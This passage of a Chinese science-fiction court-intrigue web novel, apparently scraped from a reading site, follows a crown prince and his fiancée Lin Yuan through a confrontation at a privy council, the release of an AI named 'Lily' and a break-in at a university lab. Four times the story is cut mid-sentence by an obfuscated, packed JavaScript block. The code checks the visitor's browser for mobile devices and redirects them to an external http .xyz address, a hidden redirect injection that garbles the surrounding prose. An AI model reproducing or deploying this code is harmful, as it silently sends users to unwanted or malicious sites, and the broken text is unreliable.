他们肉眼可见地汗流浃背起来,却仍然色厉内荏地大吼:“你这是要干什么!威廉……霍恩海姆!” 他们甚至连名带姓地喊着皇储殿下的名讳。林沅注意到威廉的脸上没有什么不悦的表情,只是一如既往的冷漠。 “想必各位大人都知道,军部研发的新品武器没经过大量的实战测试,性能往往是不稳定的。” 他看起来闲适得很,甚至在被困住的几位周围踱步:“我知道大人们品格高洁,宁折不弯。只是我这样一直撑着手也很累,万一哪下手指抽筋了……不知道还能不能有幸留着各位的命,好给你们赔罪。” 说完,他的食指就极细微地轻轻颤动了一点点,是肉眼几乎看不见的距离。一枚银色颗粒瞬间消失在原地,像子弹一般弹射出去,将其中一位书记官的制服帽子瞬间击落。 受击的书记官大叫一声,脸上冷汗扑簌簌抖落下来,再不敢乱动一点,甚至开始战战兢兢。 陈鹤明倒是看着还很平静,只是无奈地劝道:“殿下这是何必……两相争斗起来,是要帝国内部两败俱伤吗?” 坐在圆桌上首的国王面色古怪,却不发一言。既没有阻止威廉,也没有开口继续训斥书记官。 林沅伸手紧了紧身上还略带余温的军装外套,暂时谨慎地没有发言。 “殿下,您,您劝劝皇储殿下……这,这算怎么回事儿,哎呦……”陈鹤明看起来有些着急了,“咱们坐下好好谈谈,这推进会毕竟还在进行……” 林沅看向威廉,威廉只是对她摇了摇头。林沅便没有理会陈鹤明。 眼看着气氛就这么僵持下去,其中一位看起来年纪最大的书记官终于忍不住再次呵斥道:“好,好,殿下威风!我这一把老骨头了,大不了为国尽忠。殿下大闹枢密院,屠杀书记官,且看千古名声,如何被唾骂殆尽吧!” 说着竟然想往那些球体上撞过去。可是那些智能机械又不是冰冷的刀刃,这样撞过去暂时散掉,造不成任何伤害,只是瞬间又重新聚拢起来,把跌坐在地上的老书记官包围住。 林沅叹了口气,默默走过去,借着银色圆球的缝隙把老书记官搀扶起来。他原本还气哼哼地不想理会,没想到林沅的力气比他想得大多了,几乎可以说是硬生生把他架了起来,重新坐到旁边的椅子上。 “现代医疗科技这么发达,大人想死也难。”她幽幽地开口,声音在大厅中回荡。 “为国尽忠更是称不上。星际帝国的至高权柄,就是帝王本身。枢密院众位书记官,明知道陛下将会在推进会结束的第二天来访,却连个面也不肯露。” “藐视皇权,以下犯上。谈何尽忠,遑论为国。” 被她搀扶着的老书记官气得发抖,嘴唇哆嗦半天,却没能反驳一句。另外一位看起来年纪稍轻一些,也就是刚刚被打掉帽子的那位书记官,又跳出来继续斥责道:“你算个什……” 他一句话刚冒出头,林沅便觉得不妙。果然,威廉没等听完半句,便立刻将手一挥。瞬间所有包围那位书记官的圆球,便朝他裸露在外的皮肤和关节击打过去。 他身上像是被荆棘丛碾过一般,瞬间出现无数道血痕。伤口虽然不算太深,却几乎成了个血人,脸更是破了相,只能抱着头在地上打滚哀嚎。 林沅叹了口气。不过也无所谓,即使她什么都不做,难道还会有人认为自己这个未婚妻不算皇权一党吗? 威廉冷冽的声音再次响起,似乎把周围环境的气温也降了几个度:“书记官选拔看重仪表。大人不懂得什么话能说什么不能说,就先安心送到军部修养身心吧,第十一位书记官的候补官投票可以重启了。” 一挥手一句话就了结了一位书记官的前途,其余三位的脸色很明显便挂不住了。国王也觉得有些不好,不知是觉得威廉行事鲁莽,还是怨他越过自己来立威。 “你这是做什么!”他竟然忍不住倒戈过来呵斥威廉。林沅冷眼看着,只觉得好笑。 威廉也懒得理会皇帝。他示意门口的警卫把地上打滚的书记官抬走,却并没有撤掉其他人周围的武器。 “你们知道我这个人记仇。谁对我在意的人有一丁点不好,我睚眦必报。”威廉把林沅轻轻拉到身边,挡在她面前。 “今天人是我伤的,可以借此启动调查程序,你们随便弹劾我。但是今天的事情,诸位要是不肯好好了结,到时候弹劾皇储这等好事,怕是你们也没这个福去享了。” 其余三人面面相觑。十二书记官制度规定,书记官一旦确认有较长时间不能胜任职位,候补官的选举便要立刻开启。 那位被带到军部的书记官,即使治好了伤便被放回来,恐怕也不得不被边缘化了。更何况带到军部,想什么时候放回来,还不是皇储本人说了算? 陈鹤明无奈地开口:“殿下这是……何苦把事情闹到这样,还出手伤人……” 那位年老的书记官再次冷笑着开口,试图火上浇油:“殿下是觉得自己位置稳固,殊不知这里……” “你也差不多得了!”陈鹤明怒斥道。一改之前那种小心懦弱,大概是被今天这个无厘头的展开给气懵了。 “还请殿下先把武器都收了吧,我也好去喊其他人。”他努力平复了情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774620|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转而对威廉说道。 其余两人都对他这副认怂的样子颇为不满。那个老书记官看起来还忍不住想再嚷嚷两句,被陈鹤明瞪了好几眼。 “好,好,好!真是当初瞎了眼,怎么选了你这个怂包上来!”剩下那位始终没怎么开过口的书记官,此时也忍不住把矛头对准已经出门去找人的陈鹤明。 威廉没有理会,他沉默着收了武器。那无数颗粒最终又只是凝结成一颗银色的小圆球,回到他的手里。 林沅忍不住探头过来看了几眼。威廉感叹道:“军部那些人总算研究出了一个有点用的东西,听说还是从地球带过来的那些老古董里面提炼出来的。” “这东西如果能量产的话……”林沅心里忍不住有些忌惮。 “哪有那么容易。”威廉大概知道她在想什么,“本来从地球上带到帝国的东西就不多,几千年过去更是不剩什么了。一共也才提炼了几颗。” 国王突兀打断了他俩的交谈,声音里还带着没消下去的怒气:“你今天这是干什么?你翅膀硬了,来这里耍威风?” 林沅简直被气笑了。她觉得“怂包”这话倒是没错,只是骂错了人。 如今看来,陈鹤明倒未必真是什么“怂包”,这国王倒是个货真价实的。 她看看脸色铁青的国王,再看看面无表情的威廉,不得不感慨,威廉母亲的基因太过强大。不管是外表还是性格,她都不知上面坐着的这个人,怎么能生出威廉这样的儿子来。 年迈的老人坐在属于首席书记官的头把交椅上,支撑着嶙峋的骨头,似乎气得狠了,忍不住剧烈地呛咳起来。 他喘了半天气,慢慢挪下来,几乎要把指头戳到威廉脸上:“你这个……没用的东西,平时不去跟书记官搞好关系,如今什么玩意儿都能在我面前蹦跶。” “你在这里耍威风,回头弹劾案难道要我给你摆平吗?”他越说越激动,忍不住又剧烈地咳嗽好一阵。林沅简直担心他要把自己的五脏六腑全都吐出来。 剩下两个书记官看着这场闹剧,脸上表情都有些幸灾乐祸。 威廉却仍然恭恭敬敬:“父皇累的话,就先去休息吧。我和阿沅在这里就足够了。” 年迈的皇帝仍然忍不住嘟嘟囔囔的,林沅有些听不清,想必不是什么好话。但他也不再执意留在这里,似乎是担心一会其余七位书记官知道事情经过,会来责难他。 林沅有些好笑地看着他在警卫的搀扶下逐渐远去,转头望向威廉:“不生气吗?” 威廉淡漠地摆弄着手里的圆球,不停地变出各种枪支和刀剑,看起来玩心大起:“有什么好气的……有他没他都一样。” “放心吧。”他变出一把中世纪风格的长剑,银色的剑身铮亮,闪着森森寒光。 他将长剑在空气中划出一道完美的弧线,剑指圆桌背后浮雕刻绘的历年首席书记官画像:“在我们所有的敌人里面,他是最不值得费心的一个。” 23.LV5 权利场 “可是殿下。”她看着手执长剑,此时此刻堪称意气风发的威廉·霍恩海姆,在心里微微叹了口气。 “有时候,蠢人比坏人的破坏力,要大得多了。” 谈话间,其余几位书记官也陆续到了场。威廉并不理会他们,径直拉着林沅坐在整个圆桌的上首。这样再加上十位书记官,正好十二个人,坐满了整个圆桌。 据说在星际协会时期,每一任枢密院的十二书记官,都是秘书长最忠心耿耿的心腹。最后更是冒着被屠戮殆尽的风险,将某位秘书长生生推上皇帝的宝座。 可是如今帝国的时代,枢密院竟然一步步发展壮大,到了要与皇权相争的地步,这是哪一个帝王都没有办法容忍的。 眼看着皇储并不说话,一位头发像一团劣质红线球的书记官十分不屑地开口:“殿下如今是看不上咱们这些老骨头了。不仅置联盟利益于不顾,还几次三番想要拿我们这些半截入土的老家伙寻开心。” 威廉静静地看着圆桌中央,并没有把视线投在其他任何人身上。他的表情冷漠,整个人像是一尊万年不化的冰山石像。 见他不予理会,又有书记官想要把矛头对准林沅。他们翻动着手中关于林沅的资料,时不时地窃窃私语。 终于,一位书记官清了清嗓子,开始对她发问:“林沅殿下,您作为文学学士出身,为何要选择就读康伦大学的天体物理学呢?” “个人兴趣罢了。”林沅不疾不徐地说道,“我的考试成绩和面试影像都在康伦的资料库中,大人可以随时抽取核验。” 又是一阵嗡嗡地窃窃私语。刚才的书记官似乎犹豫了一会,继续艰难地开口:“您是否能保证,对康伦的天体物理学资料不存在泄露风险呢?” “我不太明白,先生。”林沅平静地注视着他的眼睛,“如果是核心的涉密资料,那么有保密科技来保证材料的安全性。如果是非涉密的资料,在学术交流的过程中难免会公开出去。这不是我一个人的风险和特权,我会遵守所有相关规定的。” 嗡嗡声似乎更响了,几位书记官在激烈地争论着什么。他们看着陈鹤明,似乎要求他来做最后的质询。 陈鹤明叹了口气:“殿下,我的同僚们都很想知道,您是否有不让康伦学术界卷入政治斗争的能力?就今天来说,您的一举一动,似乎有干涉帝国政治的风险。” “我不太明白,您指哪方面?作为皇储未婚妻的正常政治活动,算是干涉吗?” “伶牙俐齿的狡辩!”一位看起来脾气十分急躁的书记官忍不住大声嚷道,其他书记官斜眼觑过去,但都没有阻拦他。 威廉的脸色不太好看,他似乎又想站起来,被林沅的眼神安抚了。只是他锐利的目光一直钉在那位书记官身上:“你最好知道,此时此刻,能张嘴也是一种值得珍惜的特权。” “殿下又要威胁我们吗!”暴躁的书记官反倒比威廉更激动,他拍着桌子,声量越来越高,“如今帝国的荣耀是我们一票一票投出来,一天一天干出来的。殿下要过河拆桥?” “当初十二书记官投票,在殿下和陛下之间做选择,不是我们一票一票保住了殿下的位置,您还能有今天吗?” 这话实在太僭越了,隐含的内容也让林沅暗暗心惊。 阳光逐渐落下,室内越来越暗。枢密院古老而高耸的穹顶像巨石一样压抑住所有人的呼吸。神像眼神悲悯,俯瞰着众人狼狈的争斗。身旁殉道的天使眼角垂泪,无声悲鸣。 林沅注意到威廉的手上青筋暴起。她原本以为自己必然劝不住一场血腥的发生,却没想到威廉逐渐平复自己的呼吸,硬生生把反击的冲动压抑下去。 她怕场面太过不可收拾,急忙开口:“我只想完成自己的学业,先生。不会参与任何我不应该出现的场合。” 一位没有开过口的书记官突然嗤笑,打断了她:“您今天不就陪同殿下来兴师问罪,想要把我们的工作歪曲成对陛下的不满吗?” 林沅眼神安抚威廉,心中冷笑:“先生这话就说岔了。” 她微微昂首,眼神冷冷地看向那位发言的书记官。 “第一,枢密院提前一个月就知道订婚日期,却仍然把推进会安排在仪式这天,这是流程的失职。” “第二,推进会未完,却没有人提前通知陛下更改视察事项,这是工作的无能。” “第三,在重大失误的情况下,仍然自恃功劳,不把陛下和殿下的话放在眼里,这是态度的不端。” 室内一时寂静地鸦雀无声,那位被质问的书记官脸色涨红,又想嚷嚷,却被其他书记官暗中制止了。 “不论是陛下、殿下,或者皇室任何人,都无意挑起争斗。”林沅语气平静下来,耐心地劝解道,“殿下今天不小心伤人,会去看望那位受伤的先生的。” 寂静的氛围一时间又变成了沸腾的开水。 “什么意思?”那位急脾气的书记官再也忍不住了,他一拍桌子站了起来,冲威廉怒吼。 “殿下这是想要给自己脱罪了?” 旁边的人隔着老远拼命用眼神暗示他,奈何这位书记官接收不到。 威廉掂了掂手里的银色圆球,一瞬间再次挥出一把半长的匕首,直直插在圆桌上。 “殿下……”陈鹤明喃喃开口,几乎两眼一黑,林沅能从他的语气里感受到这个人的心在滴血,“报修也是要钱的,这桌子老贵了……” 那位暴躁的书记官还想开口,终于被他左右两边的同僚起身跑过来按下了,甚至还有个人拿手捂住了他的嘴。他十分不满的看着这两个人,涨红了脸拼命挣扎,却无济于事。 书记官们分列在圆桌两旁。暴躁书记官这边的五人在林沅右手边,另外五人在她的左手边。 “从前继任投票的时候,为了在我和陛下之间抉择,枢密院就分成了两派。”威廉缓缓开口,林沅仿佛从他的笑意中闻到了血腥的气息。 “加上那位一直在外没有返回的书记官,十二人投票制几乎一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林沅并不理会他,只是好奇地转移话题:“在枢密院的时候,您为什么说十二书记官在您和陛下之间作抉择?” 威廉轻轻摩挲着她的手,神情陷入到一场悠远的怀念中。 “因为准确来说,我的父皇不是我的父皇,而是我的叔父。” “我的母亲嫁到帝国后,与我的父皇非常恩爱,并且有了我。可是一场意外以后,父皇去世,我只有三岁。在让我继位、我母后垂帘听政,以及复活我父皇的某位兄弟姐妹之间,枢密院爆发了激烈的争吵,以及权力的斗争。” “当时的首席书记官桑德兰先生在无数暗杀中保下了我,并让双方达成一致。” “激活我叔父作为人造人冰冻在枢密院地底的身体,让我母亲带着我改嫁给他。叔父成了父皇,我成了唯一的皇子,和岌岌可危的皇储。” 24.莉莉丝 林沅听着他平静到毫无起伏的语气,恍惚以为这是在叙述另一个人的故事。 “从那之后的事情,就更加乏善可陈了。”威廉的视线飘向远方,神情在失去光线的夜空中模糊不清。 “人造人分为基因编译和体外胚胎两种。我的好叔父很不幸,是初代人体基因编译试验的产物之一。虚弱、多病、暴躁,所有你能想到的负面词汇在这具身体上都有所体现。” “啊对了,还有无法生育……这个不一定能算负面,不过对他来说肯定是最重磅的晴天霹雳……甚至连体外培育胚胎都不行。”林沅感觉他的表情像是在幸灾乐祸。 “于是他像疯了一样,把曾经父皇和母后为了以防万一,靠体外胚胎培育出的人造人尽数毁去,并要求科学院用他和我父皇几乎完全相同的基因档案,重新为我编译了一位又一位所谓的‘兄弟姐妹’,存放在枢密院的地底。” “从那以后他开始进行变本加厉的暗杀,只希望能将我从这个世界上彻底抹去。以我这个自然人的劣质,来力证他身为人造人的优越。” “最终,桑德兰先生为了保护我,在一次暗杀中牺牲。一位曾是他学生的书记官,按照老师的吩咐担负起了保护我的重任。可是自从他的老师死后,枢密院鱼龙混杂,争斗不断,支持我的势力日渐衰微,到最后,真心希望我活着继位的人,竟然只剩下包括他在内的两位。” 林沅已经猜出了大概的后续。 “于是,那位学生收起所有的锋芒,努力讨好皇帝,成为了他身边最信任的重臣和枢密院的首席书记官。他不遗余力地深耕自己的势力,发展自己的同党,无论真心或是假意。以此,兑现对老师的承诺,保护先皇唯一留存的血脉,对吗?”她轻声问道。 “阿沅真的很聪明。”飞船的外置灯闪烁着幽冷的颜色,映在威廉湛蓝的眼睛中,仿佛坠落一滴跳跃的寒光。 “虽然每个人都有自己的利益和野心。但我真的很感激他们。所以……”威廉欲言又止。 虽然不想承认,但也许是思维同频的缘故,林沅觉得自己仿佛有心灵感应一样,永远知道他未尽的话语指向何方。 “倘若有我能够帮得上忙的地方,那位小桑德兰先生,我一定会多关照的。”她的声音虽轻,语气却很坚定。 黑暗中行进的飞船没有开灯。借着模糊的冷光,威廉轻轻握住林沅支撑在身侧的手,又慢慢顺着小臂摩挲着向上,顺利揽住她的肩膀,微微向自己的方向施力。 他们在夜色中相拥。 林沅能感觉到威廉将一只手抚在自己后脑上,轻揉长长的秀发。 这一瞬间,他们好像是在层层围剿下互相取暖的猎物。但这种软弱的情绪只有一刹那。林沅明白,面前这个曾经对所有人来说都过于弱小的皇子,早已为自己磨好了尖厉的獠牙。 他向世界展示曾经小心翼翼潜藏起来的每一丝锋利,以此迈向最终的复仇。 “殿下……威廉。”林沅的声音轻盈得如同小兽的呢喃。 威廉应了一声。即使在极度安静的飞船中,也险些被林沅错过。 她的手攀在威廉的肩膀上,轻轻安抚他:“您能答应我一件事吗……和联盟与帝国都无关,是‘您’答应‘我’。” 威廉甚至连应答声也没有发出了。他只是不易察觉地点了点头,下巴微微晃动的幅度落在林沅肩膀处,磨得她有些想笑。她实在是怕痒。 忽略肩膀处的触感,林沅继续耐心地蛊惑他:“请您务必答应我……不论未来发生什么样的情况,都不要脏了自己的手。” “当然。”威廉似乎有些开怀地笑了。他微微拉开两个人的距离,伸出手抚平被他揉得有些凌乱的长发,将一侧发丝别在林沅耳后:“我们还要一起见证很多很多的胜利。我会把所有不安定的因素都提前拔除。” 飞船的闪光撕裂夜幕,灯火通明的首都城市逐渐出现在视野尽头,铺展出一片片璀璨的光芒。 人间的繁华和喧嚣暂时中和了他们对未来的警惕和敌意。 毕竟夜还很长。 飞船降落之后,他们在宸宫暂时分别。林沅投入到康伦大学天体物理学院紧张的课程和实验安排中。 她还是不能很好地适应48时制,但婉拒了校方为她准备24时制日程的想法。 导师梅兹女士是一位勤勉且专业的老师,只是似乎有些社恐,常常秒回学生的在线讯息,却很少举行线下的组会。 他们这组研究生的日常就是各过各的,偶尔林沅会和那位天真烂漫又活泼可爱的莉莉丝一起吃饭,此外便很少聚在一起了。 所以,当林沅在某一个普通的夏日清晨,走进实验室,看到另外三位同门聚在一起讨论什么时,是有些吃惊的。 “呀,沅姐,早呀!”今年刚满18岁的莉莉丝热情地跟她打着招呼。虽然两人已经相处了几个月,但林沅还是感觉这个姑娘身上存在着许多神秘得让人捉摸不透的疑点。她看起来只有十四五岁,而且从不跟林沅谈论自己的家人或朋友,甚至也从未告诉任何人自己到底姓什么。 大家只是亲切地称呼她“莉莉丝”。 林沅跟三个人都打了招呼。除了莉莉丝,她很少能跟另外两个同门碰面,只偶尔吃过几次饭、上过几堂课、开过几次为数不多的组会。 头发和睫毛一样雪白,一双银灰色眼睛像硅基生命般毫无感情的高大男生是丹尼尔·冯·桑德兰。他礼貌地站起来,为林沅拉开一把椅子。虽然看着有点高冷,其实为人很热心。 他主动给林沅介绍他们面前的屏幕上,金色长发、深祖母绿色眼睛的智能影像:“这是帝国科学院24小时前发布的第60次迭代人工智能产品,莉莉。目前的载入使用率已经达到了惊人的81%,而且这个数字还在上升,可能不出一个星期,便会成为百分之百。” 林沅惊奇地凑近屏幕,又忍不住转过头去看莉莉丝,反复几次。屏幕里的智能影像好奇地伸手撑在屏幕上,缓缓地凑近,美丽的绿色眼睛非常灵动,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787503|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也正隔着屏幕观察林沅。 “你想问什么就问吧。”莉莉丝无奈地叹了口气。 “这……你都可以告他们侵权,非法使用真人形象了吧?” “告不了,因为这个影像就是我哥卖给他们的。”莉莉丝无奈地看着林沅,叹了口气,“我可能没跟你提过……不过现在你应该也猜出来了,我姓亨特兰……莉莉丝·亨特兰。” 她是猎盟那位总理事的亲女儿,副总理事安德鲁·亨特兰的妹妹。 “也许你在别的地方也见过这个智能影像。其实最初只是我哥请朋友做着玩的一款人工智能产品,后来底层代码被作为专利四处出售,连帝国科学院都买走了一份。” “当然,现在经过层层迭代,如今帝国的‘莉莉’与当初卖出去的那个最简单的人工智能已经有了天壤之别。” “怎么说?”另一位男生,漂亮又凌厉的路易·塔西尼不解地问道。脸上的迷惑减少了睥睨众生的高傲,显得有几分可爱。 他试着摆手和屏幕里的莉莉互动了一下:“其实我看着感觉就是普通的人工智能,甚至相比一些迭代前的,话更少了。” 和莉莉丝除了瞳孔颜色以外几乎一模一样的虚拟形象温柔地眨了眨眼睛,连反驳路易的举动都没有。 “其实我也不是特别了解……”莉莉丝有些犹豫,“通俗点解释,迭代前的人工智能可以学习、重组甚至思考,迭代到如今的莉莉……可以创造。” “以前的人工智能无论有多先进,仍然是在人类输入代码和文本的基础上进行再创作。就像始终有一个围栏,圈着里面吃草的绵羊。” “而现在,在围栏没有倒塌的情况下,羊却跳出来了。” 莉莉丝解释完,几人面面相觑。 “行吧,我还是不太明白。”路易耸耸肩,把自己棕栗色的长卷发随意地扎起来,“我要做实验去了,人工智能到底不是咱们的课题。” 丹尼尔也点点头:“以防万一,实验室就不要下载这个了。” 莉莉丝很爽快地答应了,让实验室本身的智能系统将所有的安装包一键卸载,并嘱咐道:“清除干净了以后再查杀几遍,免得有漏网之鱼。” 林沅也准备收拾一下东西,去图书馆看文献。 临走前莉莉丝喊她一起。踏出大门前,林沅越过莉莉丝的肩头回望实验室内,虚拟屏幕上,美丽的少女形象正在清晨缓缓升起的阳光中逐渐消散。 恍惚间林沅好像看见虚拟形象对她做了一个口型。但因为急于出门,没来得及仔细分辨。 莉莉丝拉着她快步走向图书馆。林沅忍不住好奇地发问:“人工智能,真的给人类带来更好的现状吗?” “那要看你怎么定义好坏了。”莉莉丝不甚在意地回答道。 她们经过悬空的椭圆机器人,全身被上下扫描后,进了图书馆,走到人脸认证的单间前分别。莉莉丝想了想,又补充了一句:“倘若用人能获得的快乐来定义的话,那想来还是不错的。” 25.袭击者 康伦的图书馆为研究生提供人脸认证的单独房间,未毕业离校前,可以始终把这里作为自习室使用。 房间不大,大概刚好够一人一桌。因为有整面窗户做外墙,阳光轻松便挤满了小屋,将整个空间烘得暖融融的。 林沅感觉全身都弥漫着被阳光晒透的困意,仿佛浸泡到发软。她伸手调节玻璃透明度,隔绝了光线,室内灯自动亮起。 虚拟屏幕上的文献库还在加载,林深的通讯却接了进来。 他观察了一下林沅身处的环境,忍不住笑道:“以前你还笑话我看纸质书呢,姐。图书馆?康伦也这么复古啊。” “就是个自习室而已喽。图书馆比较有氛围嘛,找个安心学习的环境罢了。”林沅不想理会他的阴阳怪气,“我跟你说的事……有眉目了吗?” 林深摇了摇头,似乎碍于场合,措辞都很模糊:“两件事。第一件,关于咱们不小心看到的……没什么可疑的人选。或者说,所有人都很可疑。” “你那边的确盛行人造人和体外胚胎,但技术已经非常成熟。而我们当时看到的那些……东西,绝对都是新鲜存放不会超过两三天的。很难想象,难道会有人在技术纯熟的情况下故意想要得到残次品吗?” “也许是追求技术迭代也不一定。”林沅陷入深思,但没忘了微微抬了抬下巴,示意林深继续说下去,“另一边呢?” “按照我们能收集到的资料来看,他们则是几乎完全不具备相关技术。即使只想得到那种形态等级的成果,也不是随随便就能批量生产的。不过我们对那边的了解太少,情报不一定真实。” 林沅也的确有些不赞同的表情:“或许这里面藏着什么思维误区。如果他们想得到的不是人,人只是实验过程中不可避免的副产物呢?” “那这种实验所要达到的目的,也几乎足够掀翻世界了。” “这个世界本来就岌岌可危。”林沅的表情带上些嘲讽。这种时候,她和林深看起来格外相像。 林深没有接话,只是继续沉着地叙述:“第二件事,你让我了解的这种能源非常非常难以获得。他们当初大概从地球上带走了多到无法想象的核污染产物,才能提炼出这么一点。几乎不可能在军工方面量产。” “甚至我怀疑,也许这么多年来,在星海愿意踏入地球之前,一直有人在偷偷做相关资源的倒卖工作,将这些信息和产物源源不断地供给某位大人物的实验室。” “我们有这种实验立项吗?”林沅撑在桌面上微微靠近,似乎对第二件事格外感兴趣。 林深摇了摇头:“初代产品的确有,但像你描述的那么流畅和危险的造物,目前我们的技术的确无法达到,不过父亲应该已经与别人紧急探讨过这件事。” 林沅只好叹了口气,看起来不太满意,但还是客气地道谢:“谢啦老弟,回头请你吃饭。” “回头……你这一回头大概会等到本学期结束吧。不过我还是记下了。”他甚至低下头,把这件事加进了日历里。 林沅颇为无奈地抗议:“你到底是有多怕我赖账啊!” 林深呲着牙傻乐,这时候看着到还算跟年龄匹配,确实是个无忧无虑的大男孩。林沅却知道这个人根本就一肚子坏水,藏着数不清的秘密和谜团。如果不是因为林深是这具身体的亲弟弟,不方便下手,她都想严刑逼供了。 “我能查出的东西也就这么多了。我们潜藏的敌人都非常谨慎。我还是建议你先观望,不要打草惊蛇,姐。”林深耐心地嘱咐她。 林沅答应了。她又和林深聊了几句家常才挂了通讯,开始专注地看文献。 等反应过来有些饿的时候,她终于注意到被静音的通讯上多了好多连接申请。 “阿沅阿沅!”莉莉丝正好再一次申请接通,林沅立刻便同意了。她像芭比娃娃一般可爱又无害的小脸放大在虚拟屏幕上,是和她哥哥如出一辙的金发碧眼。 “我跟你说……你绝对想不到发生了什么!” 她那张年龄不大相符的稚嫩面庞上,写满了气愤。 “我们实验室遭了贼了!你就说离不离谱吧?星历6356年了,在帝国首都星,在可以说全宇宙最顶尖理工大学的康伦,在安保森严的实验室……遭了贼了!我要去保安部抗议去,绝对是昧了我们的安保经费!” 莉莉丝看着柔柔弱弱,其实脾气有些风风火火的。林沅时常因为这种反差,在听她说话的时候被可爱得忍不住想走神。 “……哦,没事,别急……丢了什么东西吗?实验仪器?”她定了定神,问道。 “一言难尽。”莉莉丝的表情有些复杂,“总之,你快回来看看吧。” 林沅本来是打算先联系安妮一起去附近吃饭的,不过事出突然,她只好留了一条通讯,便赶回实验室。 等终于看清面前的一片狼藉时,林沅的确被震撼到了。 整个实验室像是被炸弹轰炸过。除了房间轮廓尚且清晰,外间的实验台、虚拟屏、更衣室、储物柜、书桌、以及各种高精尖的操作仪器,已经全部面目全非,化成一片废墟了。 好在核心的实验区域有着极其厚重的安防大门,位于整个实验室房间的内部,虽然大门上有明显的攻击和烧灼痕迹,但好在并未受影响。 整个实验室大楼也完全看不出任何遭受攻击的迹象。只有其中这一间属于他们的实验室,已经从内部化为废墟了。 丹尼尔和路易正合力镇压着一个头发乱糟糟、一身衣服在打斗里被撕扯凌乱的少年。丹尼尔面无表情地从侧后方反剪着他的双手,路易单只脚狠狠踩在他头上。 少年双膝跪地,弓着背匍匐在路易脚下,表情扭曲,嘴里一直嘟囔着某种林沅听不懂的语言,不过从语气和现场的情况来看,不太可能是什么好听的话。 莉莉丝站在一旁,一边指挥清洁机器人打扫,一边检查物品的损失情况。 其实也不用太过仔细检查,毕竟外间基本什么也不剩了。 三人听见门口的动静,视线都集中到林沅身上。然后才是气喘喘吁吁赶过来的安保人员,和形态各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803710|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的武装机器人。 “你们怎么不等我们都凉透了再来?”莉莉丝忿忿不平,“这么大个人闯进来,监控警报、肉眼观察……你们就一点都没察觉到?” 领头的人擦了擦满头大汗,气还没喘匀,就赶紧解释道:“现在还不知道怎么回事,我们一点警报都没收到……” 林沅走过去安抚莉莉丝:“目前很难马上弄清楚到底什么情况,咱们还是先解决眼前吧。” 安保人员前来接手被抓住的少年。没想到电光火石间他突然暴起,全然不顾刚刚才束缚在他身上的电击绳,面容扭曲、青筋根根耸起,生生在弹性紧缩的绳子中间为自己撑出一片空间,往林沅和莉莉丝这边奔袭。 ……他想抓住女孩子做人质! 林沅立刻反应过来,左手直接大力将两个一直跟着她的圆球机器人甩出去,右手一把拽住莉莉丝,瞬间把她拉到自己身后。 莉莉丝被她拽得一个趔趄,好在就着林沅的手稳住了。 两个圆球瞬间激光扫射少年全身的关节,他被击中的同时发出狰狞的嘶吼,摔倒在地面,安保和两个男生立刻想要上前,林沅却注意到他拿出了什么闪光的东西,大声提醒:“小心武器!” 林沅的圆球因为程序设定,只会围绕在她身边,把所有针对她本人的攻击意图优先化解,所以此时已经回到她身边待命,并没有更进一步的动作。 林沅正紧张地盯着现场,电光火石间觉得这个少年太不对劲。康伦的安保力量虽然比不上军部,但因为有太多科技机密,加上威廉的特别授意,在今年刚更换了一批新式装备,没道理连一个瘦骨嶙峋的人都控制不住。 少年站在实验室中央,和所有人无声对峙。他已经用一把特制的军刀割开了机械手臂都不一定有力气挣脱的电击绳,被电击烤焦的皮肤裸露在外,似乎还微微冒着几缕烟气。 这把特殊的军刀似乎刚从他身体里被取出,快到林沅都没有看清,只注意到他的左手臂突然鲜血淋漓。 他从自己的左手臂骨头里,取出了那把刀。 林沅注意到少年痛得微微发抖,自己也忍不住颤了一下。 这是一种什么样的毅力和决心,她忍不住心里的震撼。这怎么也不可能是普通的贼,今天的事情恐怕无法善了。 “阿沅,你怎么不接我的通讯呀,我都快饿死了……咦?”安妮·贝克穿着隔壁茨威尔的校服,手里提着一兜看起来像是食物的东西,笑容满面地打开实验室虚掩的大门,在所有人没反应过来的时候,已经快速走了进来,然后愣在当场。 “安妮,快跑!”林沅大声喊道,没注意到自己的声音嘶哑地可怕。 